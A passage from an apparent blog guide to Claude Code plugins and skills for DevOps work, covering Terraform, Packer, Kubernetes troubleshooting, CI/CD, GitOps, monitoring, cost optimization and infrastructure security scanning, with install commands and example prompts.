        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Claude Code CLI installed (<code>claude --version</code> to verify)</li>
<li>Basic familiarity with Claude Code commands</li>
<li>Active infrastructure or DevOps projects</li>
</ul>
<h2 id="h2-how-to-install-plugins" class="group relative scroll-mt-24">
        <a href="#h2-how-to-install-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Install Plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-install-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-bash"><span class="hljs-comment"># Install from the official marketplace</span>
claude plugin install context7

<span class="hljs-comment"># Add a community marketplace</span>
claude plugin marketplace add devops-claude-skills

<span class="hljs-comment"># Install a skill from a marketplace</span>
claude plugin install iac-terraform@devops-skills

<span class="hljs-comment"># List installed plugins</span>
claude plugin list
</code></pre><h2 id="h2-foundation-plugins" class="group relative scroll-mt-24">
        <a href="#h2-foundation-plugins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Foundation Plugins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-foundation-plugins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-context7-live-documentation-lookup" class="group relative scroll-mt-24">
        <a href="#h3-context7-live-documentation-lookup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Context7 - Live Documentation Lookup
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-context7-live-documentation-lookup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install context7</code></p>
<p>Context7 pulls current API documentation and code examples from source repositories in real time. Instead of relying on training data that might be months old, Claude checks the actual docs before generating code.</p>
<p>This matters for DevOps because tooling changes fast. Terraform provider arguments get deprecated between minor versions. Kubernetes API versions evolve. Helm chart values change across releases. Without live docs, you end up debugging code that worked six months ago but fails today.</p>
<p><strong>Example:</strong> You ask Claude to write a Terraform module for an AWS ECS Fargate service. Without Context7, it might use the <code>launch_type</code> argument that was replaced by <code>capacity_provider_strategy</code> in recent versions. With Context7, it checks the current AWS provider docs and generates the correct configuration.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Context7 automatically activates when Claude generates code</span>
&gt; Write a Terraform module <span class="hljs-keyword">for</span> an AWS ECS Fargate service with auto-scaling

<span class="hljs-comment"># Claude looks up current aws_ecs_service, aws_ecs_task_definition,</span>
<span class="hljs-comment"># and aws_appautoscaling_target resources from the provider docs</span>
</code></pre><h3 id="h3-security-guidance-infrastructure-security-scanning" class="group relative scroll-mt-24">
        <a href="#h3-security-guidance-infrastructure-security-scanning" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Security Guidance - Infrastructure Security Scanning
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-security-guidance-infrastructure-security-scanning"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install security-guidance</code></p>
<p>Security Guidance scans your code for OWASP Top 10 vulnerabilities, authentication flaws, injection risks, hardcoded secrets, and insecure configurations. For DevOps, this catches issues in API routes, webhook handlers, deployment configs, and infrastructure code.</p>
<p><strong>Example:</strong> Running a security scan on a production API:</p>
<pre><code class="hljs language-text">Issues found:
- Dockerfile: Running as root user (use non-root USER directive)
- terraform/main.tf: S3 bucket missing encryption configuration
- src/api/webhook.ts: No signature verification on incoming webhooks
- .env.example: Default secrets that could be committed accidentally
- nginx.conf: Missing security headers (HSTS, CSP, X-Frame-Options)
</code></pre><p>These are the kinds of issues that slip through code review but get caught in a security incident.</p>
<h3 id="h3-github-repository-and-cicd-management" class="group relative scroll-mt-24">
        <a href="#h3-github-repository-and-cicd-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          GitHub - Repository and CI/CD Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-repository-and-cicd-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install github</code></p>
<p>The GitHub plugin adds direct integration with pull requests, issues, code search, and CI/CD workflows. While you can achieve similar results with the <code>gh</code> CLI, the plugin provides a more structured interface for managing multiple repositories.</p>
<p><strong>Useful for:</strong></p>
<ul>
<li>Creating PRs across multiple repos in one session</li>
<li>Searching code patterns across your organization</li>
<li>Checking CI/CD workflow status and debugging failures</li>
<li>Managing issue backlogs with labels and milestones</li>
</ul>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Check failing CI workflow and suggest fixes</span>
&gt; Why is the deploy workflow failing on the main branch?

<span class="hljs-comment"># Claude uses the GitHub plugin to fetch workflow logs,</span>
<span class="hljs-comment"># identify the failing step, and suggest a fix</span>
</code></pre><h3 id="h3-code-review-automated-pr-review" class="group relative scroll-mt-24">
        <a href="#h3-code-review-automated-pr-review" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Code Review - Automated PR Review
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-code-review-automated-pr-review"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install code-review</code></p>
<p>The Code Review plugin runs structured reviews covering bugs, security issues, performance problems, and style inconsistencies. It outputs findings in a consistent format with severity levels.</p>
<p><strong>Useful for:</strong></p>
<ul>
<li>Reviewing infrastructure changes before merging (Terraform plans, Kubernetes manifests)</li>
<li>Catching security issues in Dockerfiles and CI configs</li>
<li>Ensuring consistency across Helm values files and environment configs</li>
<li>Getting a second opinion on complex refactors</li>
</ul>
<h2 id="h2-hashicorp-agent-skills" class="group relative scroll-mt-24">
        <a href="#h2-hashicorp-agent-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          HashiCorp Agent Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-hashicorp-agent-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>HashiCorp maintains official Claude Code skills for Terraform and Packer. These are not generic plugins - they encode HashiCorp&#39;s best practices, naming conventions, and testing frameworks.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Add the HashiCorp skills marketplace</span>
claude plugin marketplace add hashicorp/agent-skills
</code></pre><h3 id="h3-terraform-skills" class="group relative scroll-mt-24">
        <a href="#h3-terraform-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Terraform Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-terraform-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install individually:</strong></p>
<pre><code class="hljs language-bash">claude plugin install terraform-style@hashicorp       <span class="hljs-comment"># Style conventions</span>
claude plugin install terraform-testing@hashicorp      <span class="hljs-comment"># Testing frameworks</span>
claude plugin install terraform-stacks@hashicorp       <span class="hljs-comment"># Stacks orchestration</span>
claude plugin install terraform-providers@hashicorp    <span class="hljs-comment"># Provider development</span>
claude plugin install terraform-refactoring@hashicorp  <span class="hljs-comment"># Module refactoring</span>
</code></pre><p>These skills teach Claude how to write Terraform code the way HashiCorp recommends:</p>
<ul>
<li><strong>Style conventions</strong> enforce naming patterns, file organization, and documentation standards</li>
<li><strong>Testing</strong> generates <code>terraform test</code> configurations and validation rules</li>
<li><strong>Stacks</strong> helps orchestrate multi-layer infrastructure deployments</li>
<li><strong>Provider development</strong> assists in building custom Terraform providers in Go</li>
<li><strong>Refactoring</strong> breaks monolithic configurations into reusable modules</li>
</ul>
<p><strong>Example:</strong> You ask Claude to refactor a 500-line <code>main.tf</code> into modules. The refactoring skill guides the process: identifying resource groups, extracting variables, setting up module interfaces, and maintaining state compatibility.</p>
<pre><code class="hljs language-bash">&gt; Refactor this Terraform configuration into reusable modules

<span class="hljs-comment"># With the terraform-refactoring skill, Claude:</span>
<span class="hljs-comment"># 1. Identifies logical resource groups (networking, compute, database)</span>
<span class="hljs-comment"># 2. Creates module directories with proper file structure</span>
<span class="hljs-comment"># 3. Extracts variables and outputs for each module</span>
<span class="hljs-comment"># 4. Updates the root module to call the new modules</span>
<span class="hljs-comment"># 5. Generates moved blocks for state migration</span>
</code></pre><h3 id="h3-packer-skills" class="group relative scroll-mt-24">
        <a href="#h3-packer-skills" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Packer Skills
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-packer-skills"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">claude plugin install packer-aws@hashicorp        <span class="hljs-comment"># AWS image building</span>
claude plugin install packer-azure@hashicorp       <span class="hljs-comment"># Azure image building</span>
claude plugin install packer-windows@hashicorp     <span class="hljs-comment"># Windows images</span>
claude plugin install packer-hcp@hashicorp         <span class="hljs-comment"># HCP Packer integration</span>
</code></pre><p>These cover machine image building across cloud providers:</p>
<ul>
<li>Platform-specific builder configurations and provisioners</li>
<li>HCP Packer integration for image lifecycle management</li>
<li>Multi-platform build templates</li>
</ul>
<h2 id="h2-devops-skills-marketplace" class="group relative scroll-mt-24">
        <a href="#h2-devops-skills-marketplace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          DevOps Skills Marketplace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-devops-skills-marketplace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A community-maintained collection of specialized DevOps skills. Each one focuses on a specific domain.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Add the marketplace</span>
claude plugin marketplace add devops-claude-skills
</code></pre><h3 id="h3-terraform-and-iac" class="group relative scroll-mt-24">
        <a href="#h3-terraform-and-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Terraform and IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-terraform-and-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install iac-terraform@devops-skills</code></p>
<p>Goes beyond the HashiCorp skills with Terragrunt support, state management workflows, and multi-environment patterns.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Terraform and Terragrunt configuration authoring</li>
<li>State inspection and migration strategies</li>
<li>Module development with versioning</li>
<li>Multi-environment workspace patterns (dev/staging/prod)</li>
</ul>
<h3 id="h3-kubernetes-troubleshooter" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-troubleshooter" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Kubernetes Troubleshooter
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-troubleshooter"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install k8s-troubleshooter@devops-skills</code></p>
<p>A diagnostic toolkit for Kubernetes problems. Instead of generic Kubernetes knowledge, this skill includes structured troubleshooting playbooks.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Cluster health checks (node status, resource pressure, component health)</li>
<li>Pod diagnostics (CrashLoopBackOff, OOMKilled, ImagePullBackOff)</li>
<li>Networking issues (service connectivity, DNS resolution, ingress routing)</li>
<li>Resource quota and limit analysis</li>
<li>Incident response playbooks</li>
</ul>
<p><strong>Example:</strong></p>
<pre><code class="hljs language-bash">&gt; My pods keep getting OOMKilled <span class="hljs-keyword">in</span> the production namespace

<span class="hljs-comment"># The k8s-troubleshooter skill:</span>
<span class="hljs-comment"># 1. Checks current resource requests and limits</span>
<span class="hljs-comment"># 2. Analyzes actual memory usage vs limits</span>
<span class="hljs-comment"># 3. Reviews the application&#x27;s memory profile</span>
<span class="hljs-comment"># 4. Suggests right-sized limits based on usage patterns</span>
<span class="hljs-comment"># 5. Generates the updated deployment manifest</span>
</code></pre><h3 id="h3-cicd-pipeline-optimization" class="group relative scroll-mt-24">
        <a href="#h3-cicd-pipeline-optimization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CI/CD Pipeline Optimization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cicd-pipeline-optimization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install ci-cd@devops-skills</code></p>
<p>Covers pipeline design, performance optimization, security hardening, and debugging across multiple CI/CD platforms.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>GitHub Actions, GitLab CI, Jenkins, CircleCI workflows</li>
<li>Pipeline performance optimization (caching, parallelization, conditional jobs)</li>
<li>Security hardening (secret management, OIDC authentication, dependency scanning)</li>
<li>Debugging failed pipelines with structured analysis</li>
</ul>
<p><strong>Example:</strong></p>
<pre><code class="hljs language-bash">&gt; My GitHub Actions deploy workflow takes 12 minutes. Help me speed it up.

<span class="hljs-comment"># The ci-cd skill analyzes the workflow file and suggests:</span>
<span class="hljs-comment"># - Docker layer caching for build steps</span>
<span class="hljs-comment"># - Parallel test execution</span>
<span class="hljs-comment"># - Conditional deployment (skip if only docs changed)</span>
<span class="hljs-comment"># - Artifact caching between jobs</span>
</code></pre><h3 id="h3-gitops-workflows" class="group relative scroll-mt-24">
        <a href="#h3-gitops-workflows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          GitOps Workflows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitops-workflows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install gitops-workflows@devops-skills</code></p>
<p>Production-ready templates for ArgoCD and Flux CD, including modern secrets management.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>ArgoCD Application and ApplicationSet configurations</li>
<li>Flux CD GitRepository, Kustomization, and HelmRelease resources</li>
<li>Secrets management with SOPS, Sealed Secrets, and External Secrets Operator</li>
<li>Multi-cluster deployment patterns</li>
<li>Progressive delivery with Argo Rollouts and Flagger</li>
</ul>
<h3 id="h3-monitoring-and-observability" class="group relative scroll-mt-24">
        <a href="#h3-monitoring-and-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Monitoring and Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-monitoring-and-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install monitoring-observability@devops-skills</code></p>
<p>Everything related to metrics, tracing, alerting, and SLO management.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Prometheus configuration, recording rules, and alerting rules</li>
<li>Grafana dashboard creation and templating</li>
<li>Distributed tracing with OpenTelemetry, Jaeger, and Zipkin</li>
<li>SLO definition and error budget calculations</li>
<li>Alert routing and escalation policies</li>
<li>Datadog, New Relic, and CloudWatch integration patterns</li>
</ul>
<h3 id="h3-aws-cost-optimization" class="group relative scroll-mt-24">
        <a href="#h3-aws-cost-optimization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          AWS Cost Optimization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-cost-optimization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Install:</strong> <code>claude plugin install aws-cost-optimization@devops-skills</code></p>
<p>FinOps workflows for identifying waste and optimizing cloud spend.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Automated analysis scripts for unused resources</li>
<li>Right-sizing recommendations for EC2, RDS, and ECS</li>
<li>Reserved Instance and Savings Plan analysis</li>
<li>Cost allocation tag strategies</li>
<li>Budget alerts and anomaly detection</li>
</ul>
<h2 id="h2-infrastructure-validation-with-shipyard" class="group relative scroll-mt-24">
        <a href="#h2-infrastructure-validation-with-shipyard" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Infrastructure Validation with Shipyard
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-infrastructure-validation-with-shipyard"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Install:</strong> <code>claude plugin install shipyard</code></p>
<p>Shipyard is an enterprise-grade infrastructure validation plugin that covers multiple IaC tools in one package.</p>
<p><strong>What it validates:</strong></p>
<ul>
<li>Terraform configurations (syntax, best practices, security)</li>
<li>Ansible playbooks (lint, idempotency, security)</li>
<li>Docker images and Dockerfiles (security scanning, layer optimization)</li>
<li>Kubernetes manifests (resource limits, security contexts, network policies)</li>
<li>CloudFormation templates (syntax, drift detection)</li>
</ul>
<p>It includes a dedicated security auditor agent that runs focused scans on infrastructure code.</p>
<pre><code class="hljs language-bash">&gt; Validate my Terraform configuration <span class="hljs-keyword">for</span> security issues

<span class="hljs-comment"># Shipyard checks for:</span>
<span class="hljs-comment"># - Overly permissive IAM policies</span>
<span class="hljs-comment"># - Unencrypted storage resources</span>
<span class="hljs-comment"># - Public network access where private is expected</span>
<span class="hljs-comment"># - Missing logging and monitoring</span>
<span class="hljs-comment"># - Non-compliant resource configurations</span>
</code></pre><h2 id="h2-community-plugin-terraform-skill-by-anton-babenko" class="group relative scroll-mt-24">
        <a href="#h2-community-plugin-terraform-skill-by-anton-babenko" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Community Plugin: Terraform Skill by Anton Babenko
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-community-plugin-terraform-skill-by-anton-babenko"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Install:</strong> <code>claude plugin install https://github.com/antonbabenko/terraform-skill</code></p>
<p>Created by Anton Babenko (author of terraform-aws-modules, the most popular Terraform module collection), this skill brings deep Terraform and OpenTofu expertise.</p>
<p><strong>Covers:</strong></p>
<ul>
<li>Module design patterns from terraform-aws-modules</li>
<li>AWS architecture best practices</li>
<li>Cost-aware infrastructure design</li>
